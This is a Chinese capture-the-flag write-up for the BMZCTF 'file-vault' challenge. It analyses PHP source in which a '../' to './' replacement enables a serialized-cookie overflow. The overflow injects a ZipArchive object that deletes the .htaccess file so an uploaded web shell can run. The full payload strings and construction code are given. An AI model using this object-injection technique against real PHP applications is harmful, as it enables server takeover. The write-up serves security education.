BMZCTF:file-vault

CTF_WEB_Writeup 专栏收录该内容
148 篇文章 5 订阅
http://www.bmzclub.cn/challenges#file-vault

在这里插入图片描述
这是一道很好反序列化字符串溢出的题目,首先打开容器看到这是一个上传点
在这里插入图片描述
先进行目录扫描,发现存在vim的备份文件index.php~
在这里插入图片描述
查看index.php~得到源码如下

<?php

error_reporting(0);
include('secret.php');

$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a)); 
    return $b.hash_hmac('sha256', $b, $secret); 
}

function myunserialize($a, $secret) { 
    if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
        return unserialize(substr($a, 0, -64));
    }
}
   
class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
        $this->fakename = $fakename;        
        $this->realname = sha1($content).$ext;
    }
    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

if(!is_dir($sandbox_dir)) {
    mkdir($sandbox_dir);
}

if(!is_file($sandbox_dir.'/.htaccess')) {
    file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}

if(!isset($_GET['action'])) {
    $_GET['action'] = 'home';
}


if(!isset($_COOKIE['files'])) {
    setcookie('files', myserialize([], $secret));
    $_COOKIE['files'] = myserialize([], $secret);
}


switch($_GET['action']){
    case 'home':
    default:
        $content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";

        $files = myunserialize($_COOKIE['files'], $secret);
        if($files) {
            $content .= "<ul>";
            $i = 0;
            foreach($files as $file) {
                $content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
                $i++;
            }
            $content .= "</ul>";
        }
        echo $content;
        break;
    case 'upload':
        if($_SERVER['REQUEST_METHOD'] === "POST") {
            if(isset($_FILES['file'])) {
                $uploadfile = new UploadFile;
                $uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
                $files = myunserialize($_COOKIE['files'], $secret);
                $files[] = $uploadfile;
                setcookie('files', myserialize($files, $secret));
                header("Location: index.php?action=home");
                exit;
            }
        }
        break;
    case 'changename':
        if($_SERVER['REQUEST_METHOD'] === "POST") {        
            $files = myunserialize($_COOKIE['files'], $secret);
            if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
                $files[$_GET['i']]->fakename = $_POST['newname'];
            }
            setcookie('files', myserialize($files, $secret));            
        }
        header("Location: index.php?action=home");
        exit;
    case 'open':
        $files = myunserialize($_COOKIE['files'], $secret);
        if(isset($files[$_GET['i']])){
            echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
        }
        exit;
    case 'reset':
        setcookie('files', myserialize([], $secret));
        $_COOKIE['files'] = myserialize([], $secret);
        array_map('unlink', glob("$sandbox_dir/*"));
        header("Location: index.php?action=home");
        exit;
}

代码稍微比较多一点,我们一段一段来分析一下,先看第一段

$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a)); 
    return $b.hash_hmac('sha256', $b, $secret); 
}

function myunserialize($a, $secret) { 
    if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
        return unserialize(substr($a, 0, -64));
    }
}

$sanbox_dir即将访问者的IP经过SHA1加密拼接在sanbox后构成单独的路径,例如:sanbox/4b84b15bff6ee5796152495a230e45e3d7e947d9

myserialize(),将传入的$a序列化,然后进行一个字符串的替换(这里是形成反序列化字符串溢出的关键点)得到$b,最后返回SHA256有未知密钥($secret)加密后的$b作为签名,拼接上$b的结果。

myunserialize(),首先截取$a的后64位部分与SHA256加密后的截掉末尾64位$a,这里就是做一个签名验证,验证序列化字符串加密后是否还是myserialize()返回的正确签名,防止攻击者私自修改序列化字符串。最终返回反序列化后得对象。


接着看这段代码

if(!is_dir($sandbox_dir)) {
    mkdir($sandbox_dir);
}

if(!is_file($sandbox_dir.'/.htaccess')) {
    file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}

if(!isset($_GET['action'])) {
    $_GET['action'] = 'home';
}


if(!isset($_COOKIE['files'])) {
    setcookie('files', myserialize([], $secret));
    $_COOKIE['files'] = myserialize([], $secret);
}

$sanbox_dir路径不存在时,创建$sanbox_dir。检测在$sanbox_dir下是否存在.htaccess文件,不存在的话在$sandbox_dir下创建.htaccess,并写入php_flag engine off。该配置作用是禁用当前目录下的PHP解析功能。
在这里插入图片描述
action默认操作为home,检查是否设置Cookie['files'],未设置的话设置Cookie: files,值为myserialize($a, $secret)的返回值,$a的类型为数组。$secert一直都是未知的。


接着分析

class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
        $this->fakename = $fakename;        
        $this->realname = sha1($content).$ext;
    }
    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

UploadFile类中存在upload()open()两个方法,先看UploadFile::upload(),将上传的文件写入$sandbox_dir下,存储名称为文件内容的SHA1加密后的字符,如无后缀即默认.txt后缀。没有文件类型限制。$this->fakename即上传文件的名称,$this->realname是文件在服务器上存储的名称。

UploadFile::open()即返回指定的fakename以及realname的存储路径。


接着分析action传入不同值的操作

switch($_GET['action']){
    case 'home':
    default:
        $content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";

        $files = myunserialize($_COOKIE['files'], $secret);
        if($files) {
            $content .= "<ul>";
            $i = 0;
            foreach($files as $file) {
                $content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
                $i++;
            }
            $content .= "</ul>";
        }
        echo $content;
        break;
    case 'upload':
        if($_SERVER['REQUEST_METHOD'] === "POST") {
            if(isset($_FILES['file'])) {
                $uploadfile = new UploadFile;
                $uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
                $files = myunserialize($_COOKIE['files'], $secret);
                $files[] = $uploadfile;
                setcookie('files', myserialize($files, $secret));
                header("Location: index.php?action=home");
                exit;
            }
        }
        break;
    case 'changename':
        if($_SERVER['REQUEST_METHOD'] === "POST") {        
            $files = myunserialize($_COOKIE['files'], $secret);
            if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
                $files[$_GET['i']]->fakename = $_POST['newname'];
            }
            setcookie('files', myserialize($files, $secret));            
        }
        header("Location: index.php?action=home");
        exit;
    case 'open':
        $files = myunserialize($_COOKIE['files'], $secret);
        if(isset($files[$_GET['i']])){
            echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
        }
        exit;
    case 'reset':
        setcookie('files', myserialize([], $secret));
        $_COOKIE['files'] = myserialize([], $secret);
        array_map('unlink', glob("$sandbox_dir/*"));
        header("Location: index.php?action=home");
        exit;
}
  • ?action=home
    默认执行,提供?action=upload上传操作,反序列化Cookie中的files值,将数组的每一个UploadFile::fakename取出来回显。提供?action=changename以及?action=open操作。上传一个展示一个。
  • ?action=upload
    POST上传文件,实例化UploadFile类,$uploadfile对象调用UploadFile::upload()方法,获取上传的文件名称以及内容传入upload()方法。反序列化验证当前Cookie中的序列化字符串,并增加根据新上传文件创建新的对象增加到数组中,并序列化存储Cookie中。
  • ?action=changename
    反序列化Cookie的值获取整个数组的对象,传入参数i来指向数组中的具体某个对象,然后传入newname重新赋值原来的UploadFile::fakename。然后重新序列化存入Cookie。
  • ?action=open
    反序列化Cookie的值获取整个数组的对象,传入参数i来指向数组中的具体某个对象,然后传入UploadFile::fakenameUploadFile::realname并执行UploadFile::open()操作。
  • ?action=reset
    清空Cookie中数组的每个对象,并删除$sandbox_dir下的所有文件。

分析完所有的代码,虽然上传文件无限制,但是有.htaccess的限制,就算上传了shell也是没有用的。漏洞利用的关键点在

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a)); 
    return $b.hash_hmac('sha256', $b, $secret); 
}

这里对序列化之后的字符串进行了str_replace()替换字符操作,将序列化之后的字符串中的../替换为了./,也就是说一个../被替换后会向后被吃掉的一个字符。反序列化字符串溢出的原理这里就不详细介绍了,可自行查阅资料。

很明显我们对上传文件的能控制得只有上传文件的文件名,也就是fakename,并且肯定不能直接修改Cookie的序列化字符串,有签名验证的。但是通过?action=changename就可以合法的控制fakename的值进行反序列化字符串溢出。

随便上传两个文件我们看下Cookie中存储的对象

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {
  [0] =>
  class __PHP_Incomplete_Class#1 (3) {
    public $__PHP_Incomplete_Class_Name =>
    string(10) "UploadFile"
    public $fakename =>
    string(8) "pic1.jpg"
    public $realname =>
    string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"
  }
  [1] =>
  class __PHP_Incomplete_Class#2 (3) {
    public $__PHP_Incomplete_Class_Name =>
    string(10) "UploadFile"
    public $fakename =>
    string(8) "pic2.png"
    public $realname =>
    string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"
  }
}

构造反序列化溢出,我们可以上传两个文件之后,通过重命名第一个文件的fakename,可以吃掉第二个文件原来的对象。引入一个新的对象,不过前提是我们需要先精妙的在第二个对象的fakename处,构造出一个完整的对象实现漏洞利用并且要承上启下,精妙的构造好前后的序列化字符串。

整个源码就一个类,两个对象,分别是UploadFile::upload()UploadFile::open(),而其中open()方法挺常见的,如果能找到一个含有open()方法的标准类(PHP内置已经定义好的类),那么我们就可以利用这个类去利用其中同名方法open()的功能。

遍历下所有已定义好的类,看看哪些类中有open()方法

<?php
echo 'current PHP Version: '.phpversion()."\n";
  foreach (get_declared_classes() as $class) {
    foreach (get_class_methods($class) as $method) {
      if ($method == "open")
        echo "$class->$method\n";
    }
  }
?>
PS C:\Users\Administrator\Downloads> php -f .\class.php
current PHP Version: 7.4.3
SessionHandler->open
ZipArchive->open
XMLReader->open

其中ZipArchive->open($fakename, $realname)方法正好是两个参数
在这里插入图片描述
$filename对应$fakename,把.htaccess的路径赋给$filename,而$flag如果设置成ZipArchive::OVERWRITE,就可以将改文件覆盖,即删除。

<?php
$zip = new ZipArchive;
$rt=$zip->open('./.htaccess',ZipArchive::OVERWRITE);
echo $rt;
$zip->close();
?>

删除了同目录下的.htaccess
在这里插入图片描述
这里ZipArchive::OVERWRITE还可以用9代替
在这里插入图片描述


接下来开始构造payload

任意上传两个文件后在cookie中取出反序列化字符串

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {
  [0] =>
  class __PHP_Incomplete_Class#1 (3) {
    public $__PHP_Incomplete_Class_Name =>
    string(10) "UploadFile"
    public $fakename =>
    string(8) "pic1.jpg"
    public $realname =>
    string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"
  }
  [1] =>
  class __PHP_Incomplete_Class#2 (3) {
    public $__PHP_Incomplete_Class_Name =>
    string(10) "UploadFile"
    public $fakename =>
    string(8) "pic2.png"
    public $realname =>
    string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"
  }
}

任意查看一个上传的文件
在这里插入图片描述

得到$sandbox_dir,然后我们构造一个ZipArchive

<?php
$zip = new ZipArchive();
$zip->fakename = "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";
$zip->realname = "9";
echo serialize($zip);
?>
O:10:"ZipArchive":7:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";}

首先构造第二个UploadFile对象的fakename,将fakename之后的序列化字符串取出来,总共67个字符

";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png

我们将ZipArchive的序列化字符串其中的对象位置顺序调整一下,将ZipArchive::comment的长度调整到67

O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"

这样就可以将第二个fakename之后的序列化字符串安置在comment

然后需要将第一个UploadFile的对象的realname部分放在以上的payload前面

";s:8:"realname";s:6:"mochu7";}

值为什么无所谓,只是为了序列化的完整性,所以得到第二个fakename的payload最终为:

";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"

注意: 因为是数组的第二个值,注意需要加上i:1;


接下来来分析下第一个fakename的payload该怎么构造,这是需要溢出吃掉的部分

";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"

但是注意,因为我们是先重命名在数组中i=1的对象的fakename,所以当我们重命名完之后数组中第二个对象的fakename之后,第一个对象的fakename长度要变为第一个payload的字符长度

";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:"

以上才是需要溢出吃掉的字符串,长度为117,所以我们需要117../

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../

最终,第二个对象需要重命名的fakename

";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"

在这里插入图片描述

第一个对象需要重命名的fakename

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../

在这里插入图片描述
这时候看Cookie的序列化值

array(2) {
  [0] =>
  class __PHP_Incomplete_Class#1 (3) {
    public $__PHP_Incomplete_Class_Name =>
    string(10) "UploadFile"
    public $fakename =>
    string(351) "./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:""
    public $realname =>
    string(6) "mochu7"
  }
  [1] =>
  class ZipArchive#2 (7) {
    public $status =>
    int(0)
    public $statusSys =>
    int(0)
    public $numFiles =>
    int(0)
    public $filename =>
    string(0) ""
    public $comment =>
    string(0) ""
    public $fakename =>
    string(58) "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess"
    public $realname =>
    string(1) "9"
  }
}

成功注入了ZipArchive对象,然后调用ZipArchive对象

/index.php?action=open&i=1

在这里插入图片描述
这样就可以删除sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess了,回到index.php上传shell.php

上传shell.php之后再执行一遍上面的删除操作(因为访问index.php会再次生成.htaccess文件,我们需要上传shell后再删除),然后访问shell
在这里插入图片描述
已经可以解析php文件了
在这里插入图片描述

  • 6
    点赞
  • 1
    评论
  • 1
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

相关推荐
©️2020 CSDN 皮肤主题: 撸撸猫 设计师:马嘣嘣 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值